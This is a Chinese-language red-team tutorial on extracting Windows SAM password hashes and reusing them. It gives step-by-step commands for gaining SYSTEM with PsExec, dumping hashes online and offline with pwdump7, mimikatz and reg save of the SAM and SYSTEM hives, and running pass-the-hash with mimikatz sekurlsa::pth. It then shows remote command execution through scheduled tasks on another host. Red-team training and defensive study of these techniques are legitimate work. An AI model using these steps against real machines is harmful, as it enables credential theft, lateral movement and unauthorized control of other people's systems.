一、Windows SAM(Security Accounts Manager)
SAM是管理SAM database的服务,SAM database中存储了本地用户的密码Hash信息,早期windows使用LM Hash验证,但其易于破解,从windows Vista和windows server 2008开始,默认禁用LM Hash;现在使用的是NTLM Hash。
SAM database存储在HKLM\SAM中,访问它需要system权限。注意,SAM database只存储本地用户的密码,不会存域用户。
通过regedit 查看HKLM\SAM:
以Administrator权限,执行".\PsExec.exe -accepteula -i -s regedit.exe" ,就可以以system权限启动regedit.exe了。
二、online模式dump hashs(目标机器上装有相应软件)
1. 使用pwdump7(run as Administrator)
可以通过生成NTLM Hash的网站,验证下是不是你所设密码的NTLM Hash
2. 使用mimikatz
首先run as Administrator, 此时mimikatz进程是high integrity,访问SAM database需要System权限,所以需要再提权。
也可以类似上面使用PsExec.exe -s 启动mimikatz,此时mimikatz进程是system integrity,这时候直接执行"lsadump::sam"即可。
三、offline模式dump hashs
如果目标机器没有装相应软件,则可以先dump出SAM文件(run as Administrator),再用工具从SAM文件中读取HASH(此时就不需要高权限了)。
reg save HKLM\SYSTEM SystemBkup.hiv reg save HKLM\SAM SamBkup.hiv
1. pwdump7
.\PwDump7.exe -s E:\RedTeam\mimikatz\SamBkup.hiv E:\RedTeam\mimikatz\SystemBkup.hiv
2. mimikatz
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
四、破解NTLM Hash
常见工具有john, hashcat等,这里自行Google工具的用法吧,如果没有字典,或者对密码有个大概猜测的话,通过暴力破解还是蛮难的。
五、Pass the hash,哈希传递
破解NTLM Hash还原出明文密码有难度,但可以通过Pass the hash的方式来进行横向移动。Windows在进行身份认证时不会使用明文密码来比较,而是使用密码哈希值,攻击者可以在拿到NTLM Hash后伪造成该用户进行认证。
这篇文章介绍了Windows NTLM认证方式,感兴趣可以看看。
mimikatz # sekurlsa::pth /user:Administrator /domain:WORKGROUP /ntlm:******************************** /run:powershell.exe
mimikatz会启动一个powershell,可在这个命令行环境中控制远程目标机器。
读文件、拷贝本地文件到远程主机都没什么问题
列出远程机器进程列表
创建定时任务来执行命令,at 命令或schtasks命令,启动的子进程是System权限,nice~
PS C:\Windows\system32> at \\192.168.240.128 4:37PM C:\Windows\System32\calc.exe AT 命令已弃用。请改用 schtasks.exe。 新加了一项作业,其作业 ID = 3
创建定时任务来执行命令不太方便,如果有直接在powershell 命令行环境可以远程执行命令的方法再补充。